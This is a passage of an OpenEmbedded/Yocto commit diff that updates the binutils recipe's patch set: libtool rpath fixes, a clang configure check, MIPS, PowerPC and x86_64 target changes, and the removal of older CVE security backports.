-@@ -1531,7 +1540,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"mtlo", "s,7", 0x00000013, 0xfc1fe7ff, RD_1|WR_LO, 0, 0, D32, 0 },
- {"mtlo1", "s", 0x70000013, 0xfc1fffff, RD_1|WR_LO, 0, EE, 0, 0 },
- {"mtlhx", "s", 0x00000053, 0xfc1fffff, RD_1|MOD_HILO, 0, 0, SMT, 0 },
--{"mtcr", "t,s", 0x70000019, 0xfc00ffff, RD_1|RD_2, 0, XLR, 0, 0 },
-+{"mtcr", "t,s", 0x70000019, 0xfc00ffff, RD_1, 0, XLR|XLP, 0, 0 },
- {"mtm0", "s", 0x70000008, 0xfc1fffff, RD_1, 0, IOCT, 0, 0 },
- {"mtm0", "s,t", 0x70000008, 0xfc00ffff, RD_1|RD_2, 0, IOCT3, 0, 0 },
- {"mtm1", "s", 0x7000000c, 0xfc1fffff, RD_1, 0, IOCT, 0, 0 },
-@@ -1968,9 +1977,9 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"suxc1", "S,t(b)", 0x4c00000d, 0xfc0007ff, RD_1|RD_2|RD_3|SM|FP_D, 0, I5_33|N55, 0, I37},
- {"sw", "t,o(b)", 0xac000000, 0xfc000000, RD_1|RD_3|SM, 0, I1, 0, 0 },
- {"sw", "t,A(b)", 0, (int) M_SW_AB, INSN_MACRO, 0, I1, 0, 0 },
--{"swapw", "t,b", 0x70000014, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"swapwu", "t,b", 0x70000015, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"swapd", "t,b", 0x70000016, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
-+{"swapw", "t,b", 0x70000014, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"swapwu", "t,b", 0x70000015, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"swapd", "t,b", 0x70000016, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
- {"swc0", "E,o(b)", 0xe0000000, 0xfc000000, RD_3|RD_C0|SM, 0, I1, 0, IOCT|IOCTP|IOCT2|I37 },
- {"swc0", "E,A(b)", 0, (int) M_SWC0_AB, INSN_MACRO, 0, I1, 0, IOCT|IOCTP|IOCT2|I37 },
- {"swc1", "T,o(b)", 0xe4000000, 0xfc000000, RD_1|RD_3|SM|FP_S, 0, I1, 0, 0 },
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0011-sync-with-OE-libtool-changes.patch b/meta/recipes-devtools/binutils/binutils/0011-sync-with-OE-libtool-changes.patch
new file mode 100644
index 0000000000..3607e36ef4
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0011-sync-with-OE-libtool-changes.patch
@@ -0,0 +1,86 @@
+From d71c715554a054c534954b0aa357ca699ed68430 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Mon, 6 Mar 2017 23:33:27 -0800
+Subject: [PATCH] sync with OE libtool changes
+
+Apply these patches from our libtool patches as not only are redundant RPATHs a
+waste of space but they can cause incorrect linking when native packages are
+restored from sstate.
+
+fix-rpath.patch:
+We don't want to add RPATHS which match default linker
+search paths, they're a waste of space. This patch
+filters libtools list and removes the ones we don't need.
+
+norm-rpath.patch:
+Libtool may be passed link paths of the form "/usr/lib/../lib", which
+fool its detection code into thinking it should be included as an
+RPATH in the generated binary. Normalize before comparision.
+
+Upstream-Status: Inappropriate
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 34 ++++++++++++++++++++++++++++------
+ 1 file changed, 28 insertions(+), 6 deletions(-)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index 11ee684cccf..3b19ac15328 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -8053,8 +8053,16 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append dep_rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append dep_rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8790,8 +8798,16 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ rpath+=" $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8841,8 +8857,14 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$finalize_perm_rpath " in
diff --git a/meta/recipes-devtools/binutils/binutils/0012-Check-for-clang-before-checking-gcc-version.patch b/meta/recipes-devtools/binutils/binutils/0012-Check-for-clang-before-checking-gcc-version.patch
new file mode 100644
index 0000000000..8848c05ae0
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0012-Check-for-clang-before-checking-gcc-version.patch
@@ -0,0 +1,45 @@
+From 787d7cd71d7886d3193c0fd747101c54ad7c3cd8 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 15 Apr 2020 14:17:20 -0700
+Subject: [PATCH] Check for clang before checking gcc version
+
+Clang advertises itself to be gcc 4.2.1, so when compiling this test
+here fails since gcc < 4.4.5 did not support -static-libstdc++ but thats
+not true for clang, so its better to make an additional check for clang
+before resorting to gcc version check. This should let clang enable
+static libstdc++ linking
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure | 2 +-
+ configure.ac | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/configure b/configure
+index 6a1da1665d8..916656dc233 100755
+--- a/configure
++++ b/configure
+@@ -5287,7 +5287,7 @@ ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+-#if (__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5)
++#if !defined(__clang__) && ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5))
+ #error -static-libstdc++ not implemented
+ #endif
+ int main() {}
+diff --git a/configure.ac b/configure.ac
+index 2b10e9a1b02..677a0196c2b 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -1309,7 +1309,7 @@ if test "$GCC" = yes; then
+ AC_MSG_CHECKING([whether g++ accepts -static-libstdc++ -static-libgcc])
+ AC_LANG_PUSH(C++)
+ AC_LINK_IFELSE([AC_LANG_SOURCE([
+-#if (__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5)
++#if !defined(__clang__) && ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5))
+ #error -static-libstdc++ not implemented
+ #endif
+ int main() {}])],
diff --git a/meta/recipes-devtools/binutils/binutils/0012-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch b/meta/recipes-devtools/binutils/binutils/0012-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
deleted file mode 100644
index 6a3b78f227..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0012-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From e48767a0298e6ccf53d83fecc93bb6d26b595897 Mon Sep 17 00:00:00 2001
-From: Zhenhua Luo <zhenhua.luo@nxp.com>
-Date: Sat, 11 Jun 2016 22:08:29 -0500
-Subject: [PATCH 12/15] fix the incorrect assembling for ppc wait mnemonic
-
-Signed-off-by: Zhenhua Luo <zhenhua.luo@nxp.com>
-
-Upstream-Status: Pending
----
- opcodes/ppc-opc.c | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/opcodes/ppc-opc.c b/opcodes/ppc-opc.c
-index 3032631d4e..142f096ef4 100644
---- a/opcodes/ppc-opc.c
-+++ b/opcodes/ppc-opc.c
-@@ -5325,7 +5325,6 @@ const struct powerpc_opcode powerpc_opcodes[] = {
- {"ldepx", X(31,29), X_MASK, E500MC|PPCA2, 0, {RT, RA0, RB}},
-
- {"waitasec", X(31,30), XRTRARB_MASK, POWER8, POWER9, {0}},
--{"wait", X(31,30), XWC_MASK, POWER9, 0, {WC}},
-
- {"lwepx", X(31,31), X_MASK, E500MC|PPCA2, 0, {RT, RA0, RB}},
-
-@@ -5379,7 +5378,7 @@ const struct powerpc_opcode powerpc_opcodes[] = {
-
- {"waitrsv", X(31,62)|(1<<21), 0xffffffff, E500MC|PPCA2, 0, {0}},
- {"waitimpl", X(31,62)|(2<<21), 0xffffffff, E500MC|PPCA2, 0, {0}},
--{"wait", X(31,62), XWC_MASK, E500MC|PPCA2, 0, {WC}},
-+{"wait", X(31,62), XWC_MASK, E500MC|PPCA2|POWER9, 0, {WC}},
-
- {"dcbstep", XRT(31,63,0), XRT_MASK, E500MC|PPCA2, 0, {RA0, RB}},
-
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0013-Avoid-as-info-race-condition.patch b/meta/recipes-devtools/binutils/binutils/0013-Avoid-as-info-race-condition.patch
new file mode 100644
index 0000000000..3b3d0bb769
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0013-Avoid-as-info-race-condition.patch
@@ -0,0 +1,75 @@
+From 9a84a44d5df4618dd616137fa755bd71b7eacc5f Mon Sep 17 00:00:00 2001
+From: Mike Frysinger <vapier@gentoo.org>
+Date: Sun, 23 Jan 2022 12:44:24 -0500
+Subject: [PATCH] gas: drop old cygnus install hack
+
+This was needed when gas was using the automake cygnus option, but
+this was removed years ago by Simon in d0ac1c44885daf68f631befa37e
+("Bump to autoconf 2.69 and automake 1.15.1"). So delete it here.
+The info pages are already & still installed by default w/out it.
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=9a84a44d5df4618dd616137fa755bd71b7eacc5f]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gas/Makefile.in | 14 +++++---------
+ gas/doc/local.mk | 4 ----
+ 2 files changed, 5 insertions(+), 13 deletions(-)
+
+diff --git a/gas/Makefile.in b/gas/Makefile.in
+index 8f0a56fd8d6..67dac53f68c 100644
+--- a/gas/Makefile.in
++++ b/gas/Makefile.in
+@@ -1854,7 +1854,7 @@ info: info-recursive
+
+ info-am: $(INFO_DEPS) info-local
+
+-install-data-am: install-data-local install-info-am install-man
++install-data-am: install-info-am install-man
+
+ install-dvi: install-dvi-recursive
+
+@@ -2008,10 +2008,10 @@ uninstall-man: uninstall-man1
+ distclean-DEJAGNU distclean-compile distclean-generic \
+ distclean-hdr distclean-libtool distclean-tags dvi dvi-am html \
+ html-am html-local info info-am info-local install install-am \
+- install-data install-data-am install-data-local install-dvi \
+- install-dvi-am install-exec install-exec-am install-exec-local \
+- install-html install-html-am install-info install-info-am \
+- install-man install-man1 install-pdf install-pdf-am install-ps \
++ install-data install-data-am install-dvi install-dvi-am \
++ install-exec install-exec-am install-exec-local install-html \
++ install-html-am install-info install-info-am install-man \
++ install-man1 install-pdf install-pdf-am install-ps \
+ install-ps-am install-strip installcheck installcheck-am \
+ installdirs installdirs-am maintainer-clean \
+ maintainer-clean-aminfo maintainer-clean-generic mostlyclean \
+@@ -2211,10 +2211,6 @@ doc/asconfig.texi: doc/$(CONFIG).texi doc/$(am__dirstamp)
+ $(AM_V_GEN)cp $(srcdir)/doc/$(CONFIG).texi doc/asconfig.texi
+ $(AM_V_at)chmod u+w doc/asconfig.texi
+
+-# We want install to imply install-info as per GNU standards, despite the
+-# cygnus option.
+-install-data-local: install-info
+-
+ # Maintenance
+
+ # We need it for the taz target in ../Makefile.in.
+diff --git a/gas/doc/local.mk b/gas/doc/local.mk
+index c2de441257c..ac205cf08a2 100644
+--- a/gas/doc/local.mk
++++ b/gas/doc/local.mk
+@@ -101,10 +101,6 @@ CPU_DOCS = \
+ %D%/c-z80.texi \
+ %D%/c-z8k.texi
+
+-# We want install to imply install-info as per GNU standards, despite the
+-# cygnus option.
+-install-data-local: install-info
+-
+ # This one isn't ready for prime time yet. Not even a little bit.
+
+ noinst_TEXINFOS = %D%/internals.texi
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/binutils/binutils/0013-Detect-64-bit-MIPS-targets.patch b/meta/recipes-devtools/binutils/binutils/0013-Detect-64-bit-MIPS-targets.patch
deleted file mode 100644
index d929179de2..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0013-Detect-64-bit-MIPS-targets.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 6587e7b8e7730dda20d8c47cabe9f7f8397efa3c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 31 Mar 2017 11:42:03 -0700
-Subject: [PATCH 13/15] Detect 64-bit MIPS targets
-
-Add mips64 target triplets and default to N64
-
-Upstream-Status: Submitted
-https://sourceware.org/ml/binutils/2016-08/msg00048.html
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gold/configure.tgt | 14 ++++++++++++++
- 1 file changed, 14 insertions(+)
-
-diff --git a/gold/configure.tgt b/gold/configure.tgt
-index 3e066edaa8..caf130ceda 100644
---- a/gold/configure.tgt
-+++ b/gold/configure.tgt
-@@ -153,6 +153,13 @@ aarch64*-*)
- targ_big_endian=false
- targ_extra_big_endian=true
- ;;
-+mips*64*el*-*-*|mips*64*le*-*-*)
-+ targ_obj=mips
-+ targ_machine=EM_MIPS_RS3_LE
-+ targ_size=64
-+ targ_big_endian=false
-+ targ_extra_big_endian=true
-+ ;;
- mips*el*-*-*|mips*le*-*-*)
- targ_obj=mips
- targ_machine=EM_MIPS_RS3_LE
-@@ -160,6 +167,13 @@ mips*el*-*-*|mips*le*-*-*)
- targ_big_endian=false
- targ_extra_big_endian=true
- ;;
-+mips*64*-*-*)
-+ targ_obj=mips
-+ targ_machine=EM_MIPS
-+ targ_size=64
-+ targ_big_endian=true
-+ targ_extra_big_endian=false
-+ ;;
- mips*-*-*)
- targ_obj=mips
- targ_machine=EM_MIPS
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0014-sync-with-OE-libtool-changes.patch b/meta/recipes-devtools/binutils/binutils/0014-sync-with-OE-libtool-changes.patch
deleted file mode 100644
index 65ba10a553..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0014-sync-with-OE-libtool-changes.patch
+++ /dev/null
@@ -1,89 +0,0 @@
-From b7729343206fa196b9a11747a92b3cf563277056 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 6 Mar 2017 23:33:27 -0800
-Subject: [PATCH 14/15] sync with OE libtool changes
-
-Apply these patches from our libtool patches as not only are redundant RPATHs a
-waste of space but they can cause incorrect linking when native packages are
-restored from sstate.
-
-fix-rpath.patch:
-We don't want to add RPATHS which match default linker
-search paths, they're a waste of space. This patch
-filters libtools list and removes the ones we don't need.
-
-norm-rpath.patch:
-Libtool may be passed link paths of the form "/usr/lib/../lib", which
-fool its detection code into thinking it should be included as an
-RPATH in the generated binary. Normalize before comparision.
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltmain.sh | 34 ++++++++++++++++++++++++++++------
- 1 file changed, 28 insertions(+), 6 deletions(-)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index 11ee684ccc..3b19ac1532 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -8053,8 +8053,16 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append dep_rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir_norm "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append dep_rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8790,8 +8798,16 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir_norm "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ rpath+=" $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8841,8 +8857,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0015-binutils-enable-x86_64-pep-for-producing-EFI-binarie.patch b/meta/recipes-devtools/binutils/binutils/0015-binutils-enable-x86_64-pep-for-producing-EFI-binarie.patch
deleted file mode 100644
index bfde561dee..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0015-binutils-enable-x86_64-pep-for-producing-EFI-binarie.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From d5d783903e335302e562bac8da1a083338d75b25 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 29 Nov 2018 17:46:40 -0800
-Subject: [PATCH 15/15] binutils : enable x86_64-pep for producing EFI binaries
- on x86-64
-
-Add x86_64-pep emulation support to the set enabled for x86_64 targets
-to enable the linker to produce Portable Executables for EFI binaries.
-
-Enables building the x86-64 EFI variant of the Xen hypervisor for
-the OpenXT Project.
-
-Upstream-Status: Inappropriate [OE configuration specific]
-
-Signed-off-by: Christopher Clark <christopher.clark6@baesystems.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- bfd/config.bfd | 2 +-
- ld/configure.tgt | 5 +++--
- 2 files changed, 4 insertions(+), 3 deletions(-)
-
-diff --git a/bfd/config.bfd b/bfd/config.bfd
-index 3614ff79d4..aef144803a 100644
---- a/bfd/config.bfd
-+++ b/bfd/config.bfd
-@@ -694,7 +694,7 @@ case "${targ}" in
- ;;
- x86_64-*-linux-*)
- targ_defvec=x86_64_elf64_vec
-- targ_selvecs="i386_elf32_vec iamcu_elf32_vec x86_64_elf32_vec i386_pei_vec x86_64_pei_vec l1om_elf64_vec k1om_elf64_vec"
-+ targ_selvecs="i386_elf32_vec iamcu_elf32_vec x86_64_elf32_vec i386_pei_vec x86_64_pei_vec l1om_elf64_vec k1om_elf64_vec x86_64_pe_vec x86_64_pe_be_vec i386_pe_vec"
- want64=true
- ;;
- x86_64-*-nacl*)
-diff --git a/ld/configure.tgt b/ld/configure.tgt
-index 347df6c3f6..1e37d747a9 100644
---- a/ld/configure.tgt
-+++ b/ld/configure.tgt
-@@ -257,8 +257,9 @@ x86_64-*-linux-gnux32) targ_emul=elf32_x86_64
- tdir_elf_iamcu=`echo ${targ_alias} | sed -e 's/x86_64/i386/' -e 's/-linux-gnux32/-linux-gnu/'`
- tdir_elf_i386=`echo ${targ_alias} | sed -e 's/x86_64/i386/' -e 's/-linux-gnux32/-linux-gnu/'` ;;
- x86_64-*-linux-*) targ_emul=elf_x86_64
-- targ_extra_emuls="elf32_x86_64 elf_i386 elf_iamcu elf_l1om elf_k1om"
-- targ_extra_libpath="elf_i386 elf32_x86_64 elf_l1om elf_k1om"
-+ targ_extra_emuls="elf32_x86_64 elf_i386 elf_iamcu elf_l1om elf_k1om i386pe i386pep"
-+ targ_extra_libpath="elf_i386 elf32_x86_64 elf_l1om elf_k1om i386pep"
-+ targ_extra_ofiles="deffilep.o pep-dll.o pe-dll.o"
- tdir_elf_i386=`echo ${targ_alias} | sed -e 's/x86_64/i386/'` ;;
- i[3-7]86-*-redox*) targ_emul=elf_i386
- targ_extra_emuls=elf_x86_64 ;;
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-12972.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-12972.patch
deleted file mode 100644
index 07d1d65467..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-12972.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 30bcc01478433a1cb05b36dc5c4beef7d2c89b5b Mon Sep 17 00:00:00 2001
-From: Alan Modra <amodra@gmail.com>
-Date: Fri, 21 Jun 2019 11:51:38 +0930
-Subject: [PATCH] PR24689, string table corruption
-
-The testcase in the PR had a e_shstrndx section of type SHT_GROUP.
-hdr->contents were initialized by setup_group rather than being read
-from the file, thus last byte was not zero and string dereference ran
-off the end of the buffer.
-
- PR 24689
- * elfcode.h (elf_object_p): Check type of e_shstrndx section.
-
-Upstream-Status: Backport
-CVE: CVE-2019-12972
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- bfd/ChangeLog | 5 +++++
- bfd/elfcode.h | 3 ++-
- 2 files changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/bfd/ChangeLog b/bfd/ChangeLog
-index 91f09e6346..e66fb40a2c 100644
---- a/bfd/ChangeLog
-+++ b/bfd/ChangeLog
-@@ -1,3 +1,8 @@
-+2019-06-21 Alan Modra <amodra@gmail.com>
-+
-+ PR 24689
-+ * elfcode.h (elf_object_p): Check type of e_shstrndx section.
-+
- 2019-02-20 Alan Modra <amodra@gmail.com>
-
- PR 24236
-diff --git a/bfd/elfcode.h b/bfd/elfcode.h
-index ec5ea766de..a35a629087 100644
---- a/bfd/elfcode.h
-+++ b/bfd/elfcode.h
-@@ -755,7 +755,8 @@ elf_object_p (bfd *abfd)
- /* A further sanity check. */
- if (i_ehdrp->e_shnum != 0)
- {
-- if (i_ehdrp->e_shstrndx >= elf_numsections (abfd))
-+ if (i_ehdrp->e_shstrndx >= elf_numsections (abfd)
-+ || i_shdrp[i_ehdrp->e_shstrndx].sh_type != SHT_STRTAB)
- {
- /* PR 2257:
- We used to just goto got_wrong_format_error here
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-14250.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-14250.patch
deleted file mode 100644
index c915a832b0..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-14250.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From df78be05daf4eb07f60f50ec1080cb979af32ec0 Mon Sep 17 00:00:00 2001
-From: marxin <marxin@138bc75d-0d04-0410-961f-82ee72b054a4>
-Date: Tue, 23 Jul 2019 07:33:32 +0000
-Subject: [PATCH] libiberty: Check zero value shstrndx in simple-object-elf.c
-
-git-svn-id: svn+ssh://gcc.gnu.org/svn/gcc/trunk@273718 138bc75d-0d04-0410-961f-82ee72b054a4
-
-CVE: CVE-2019-14250
-Upstream-Status: Backport [from gcc: https://gcc.gnu.org/viewcvs/gcc?view=revision&revision=273718]
-[Removed Changelog entry]
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
-diff --git a/libiberty/simple-object-elf.c b/libiberty/simple-object-elf.c
-index 502388991a08..bdee963634d6 100644
---- a/libiberty/simple-object-elf.c
-+++ b/libiberty/simple-object-elf.c
-@@ -548,7 +548,15 @@ simple_object_elf_match (unsigned char header[SIMPLE_OBJECT_MATCH_HEADER_LEN],
- XDELETE (eor);
- return NULL;
- }
--
-+
-+ if (eor->shstrndx == 0)
-+ {
-+ *errmsg = "invalid ELF shstrndx == 0";
-+ *err = 0;
-+ XDELETE (eor);
-+ return NULL;
-+ }
-+
- return (void *) eor;
- }
-
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-14444.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-14444.patch
deleted file mode 100644
index 85b9a9f916..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-14444.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From e17869db99195849826eaaf5d2d0eb2cfdd7a2a7 Mon Sep 17 00:00:00 2001
-From: Nick Clifton <nickc@redhat.com>
-Date: Mon, 5 Aug 2019 10:40:35 +0100
-Subject: [PATCH] Catch potential integer overflow in readelf when processing
- corrupt binaries.
-
- PR 24829
- * readelf.c (apply_relocations): Catch potential integer overflow
- whilst checking reloc location against section size.
-
-CVE: CVE-2019-14444
-Upstream-Status: Backport [https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=e17869db99195849826eaaf5d2d0eb2cfdd7a2a7]
-[Removed Changelog entry]
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
-diff --git a/binutils/readelf.c b/binutils/readelf.c
-index b896ad9f406..e785fde43e7 100644
---- a/binutils/readelf.c
-+++ b/binutils/readelf.c
-@@ -13366,7 +13366,7 @@ apply_relocations (Filedata * filedata,
- }
-
- rloc = start + rp->r_offset;
-- if ((rloc + reloc_size) > end || (rloc < start))
-+ if (rloc >= end || (rloc + reloc_size) > end || (rloc < start))
- {
- warn (_("skipping invalid relocation offset 0x%lx in section %s\n"),
- (unsigned long) rp->r_offset,
diff --git a/meta/recipes-devtools/binutils/binutils/CVE-2019-17450.patch b/meta/recipes-devtools/binutils/binutils/CVE-2019-17450.patch
deleted file mode 100644
index a6ce0b9a8a..0000000000
--- a/meta/recipes-devtools/binutils/binutils/CVE-2019-17450.patch
+++ /dev/null
@@ -1,99 +0,0 @@
-From 09dd135df9ebc7a4b640537e23e26a03a288a789 Mon Sep 17 00:00:00 2001
-From: Alan Modra <amodra@gmail.com>
-Date: Wed, 9 Oct 2019 00:07:29 +1030
-Subject: [PATCH] PR25078, stack overflow in function find_abstract_instance
-
-Selectively backporting fix for bfd/dwarf2.c, but not the ChangeLog
-file. There are newer versions of binutils, but none of them contain the
-commit fixing CVE-2019-17450, so backport it to master and zeus.
-
-Upstream-Status: Backport [https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=063c511bd79]
-CVE: CVE-2019-17450
-Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
-
- PR 25078
- * dwarf2.c (find_abstract_instance): Delete orig_info_ptr, add
- recur_count. Error on recur_count reaching 100 rather than
- info_ptr matching orig_info_ptr. Adjust calls.
-
----
- bfd/dwarf2.c | 35 +++++++++++++++++------------------
- 1 file changed, 17 insertions(+), 18 deletions(-)
-
-diff --git a/bfd/dwarf2.c b/bfd/dwarf2.c
-index 0b4e485582..20ec9e2e56 100644
---- a/bfd/dwarf2.c
-+++ b/bfd/dwarf2.c
-@@ -2803,13 +2803,13 @@ lookup_symbol_in_variable_table (struct comp_unit *unit,
- }
-
- static bfd_boolean
--find_abstract_instance (struct comp_unit * unit,
-- bfd_byte * orig_info_ptr,
-- struct attribute * attr_ptr,
-- const char ** pname,
-- bfd_boolean * is_linkage,
-- char ** filename_ptr,
-- int * linenumber_ptr)
-+find_abstract_instance (struct comp_unit *unit,
-+ struct attribute *attr_ptr,
-+ unsigned int recur_count,
-+ const char **pname,
-+ bfd_boolean *is_linkage,
-+ char **filename_ptr,
-+ int *linenumber_ptr)
- {
- bfd *abfd = unit->abfd;
- bfd_byte *info_ptr;
-@@ -2820,6 +2820,14 @@ find_abstract_instance (struct comp_unit * unit,
- struct attribute attr;
- const char *name = NULL;
-
-+ if (recur_count == 100)
-+ {
-+ _bfd_error_handler
-+ (_("DWARF error: abstract instance recursion detected"));
-+ bfd_set_error (bfd_error_bad_value);
-+ return FALSE;
-+ }
-+
- /* DW_FORM_ref_addr can reference an entry in a different CU. It
- is an offset from the .debug_info section, not the current CU. */
- if (attr_ptr->form == DW_FORM_ref_addr)
-@@ -2939,15 +2947,6 @@ find_abstract_instance (struct comp_unit * unit,
- info_ptr, info_ptr_end);
- if (info_ptr == NULL)
- break;
-- /* It doesn't ever make sense for DW_AT_specification to
-- refer to the same DIE. Stop simple recursion. */
-- if (info_ptr == orig_info_ptr)
-- {
-- _bfd_error_handler
-- (_("DWARF error: abstract instance recursion detected"));
-- bfd_set_error (bfd_error_bad_value);
-- return FALSE;
-- }
- switch (attr.name)
- {
- case DW_AT_name:
-@@ -2961,7 +2960,7 @@ find_abstract_instance (struct comp_unit * unit,
- }
- break;
- case DW_AT_specification:
-- if (!find_abstract_instance (unit, info_ptr, &attr,
-+ if (!find_abstract_instance (unit, &attr, recur_count + 1,
- &name, is_linkage,
